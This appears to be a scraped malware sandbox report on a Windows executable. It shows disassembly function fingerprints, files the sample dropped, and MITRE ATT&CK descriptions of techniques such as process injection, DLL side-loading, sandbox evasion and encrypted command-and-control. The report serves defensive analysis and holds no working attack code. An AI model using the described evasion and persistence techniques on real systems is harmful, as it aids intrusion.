Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 66197ecf1186118a8c42ff881f6b3ed1c2e05c151971c28045e0d41d0e14358b
Instruction ID: 73dc592d774b86efe6a3ab657335a4e33730c9fc38b0d1b317b3ccd24ad13bd5
Opcode Fuzzy Hash: 66197ecf1186118a8c42ff881f6b3ed1c2e05c151971c28045e0d41d0e14358b
Instruction Fuzzy Hash: 34F04F79B1AB4582EB569F26F86423822B0EF8AF84B485034DA4E47785DF3CD8A4C314

Function 00007FFDA55927C0 Relevance: 5.0, APIs: 4, Instructions: 32COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55927FB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5592804
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5592818
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5592821

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 1e3480862a4a9241cbd34876f8c395ca154369884af30e6ae4febbb5dbfcf72e
Instruction ID: ec2dbe3c01f29091d286e13fdba201de60ee65889992ff5d6f11f37cdeccae9d
Opcode Fuzzy Hash: 1e3480862a4a9241cbd34876f8c395ca154369884af30e6ae4febbb5dbfcf72e
Instruction Fuzzy Hash: AE01083AA0AB4582EB169F12E4643696770FB4AF90F085031EE4E07B55CF3CD4568714

Function 00007FFDA5596780 Relevance: 5.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FFDA559B8DC,?,?,?,?,?,?,00000000,?,?,00007FFDA5574786), ref: 00007FFDA5596791
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FFDA559B8DC,?,?,?,?,?,?,00000000,?,?,00007FFDA5574786), ref: 00007FFDA559679B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FFDA559B8DC,?,?,?,?,?,?,00000000,?,?,00007FFDA5574786), ref: 00007FFDA55967A5

Part of subcall function 00007FFDA5585D80: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000,00007FFDA55968BE,?,00000000,00007FFDA559B76F,?,?,?,?,?,?,00000000,?), ref: 00007FFDA5585DB7
Part of subcall function 00007FFDA5585D80: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000,00007FFDA55968BE,?,00000000,00007FFDA559B76F,?,?,?,?,?,?,00000000,?), ref: 00007FFDA5585DCE

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FFDA559B8DC,?,?,?,?,?,?,00000000,?,?,00007FFDA5574786), ref: 00007FFDA55967C0

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 4a9e63719135c01590bbd7e9246862d27d46a5a06684678f83abdb0d2e2eb60a
Instruction ID: 2656c2eee2e09d0bd1924caa984cb3063d69f836642739ac8523b12fabff736c
Opcode Fuzzy Hash: 4a9e63719135c01590bbd7e9246862d27d46a5a06684678f83abdb0d2e2eb60a
Instruction Fuzzy Hash: 95E0C96DB5790A91EB16BF25DC791782330EF9AF45B541031E90E437A2CE2CD989C368

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Ld0f3NDosJ.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Compliance

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\tmp.enc

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\hardsvcupdt[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0cpijhtc.sbq.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1ftubh3y.1oa.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1nvsbblj.n1o.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1wnln3hy.eqb.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a2mjpqoz.c1a.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ayq4jh11.jtv.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_evkggpbn.155.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fkcxcff4.x04.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gdsn3mpz.oeh.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hkbjibna.xrm.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_khqfxq1l.pke.ps1

Windows Analysis Report
Ld0f3NDosJ.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.
Tactics:	Lateral Movement
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre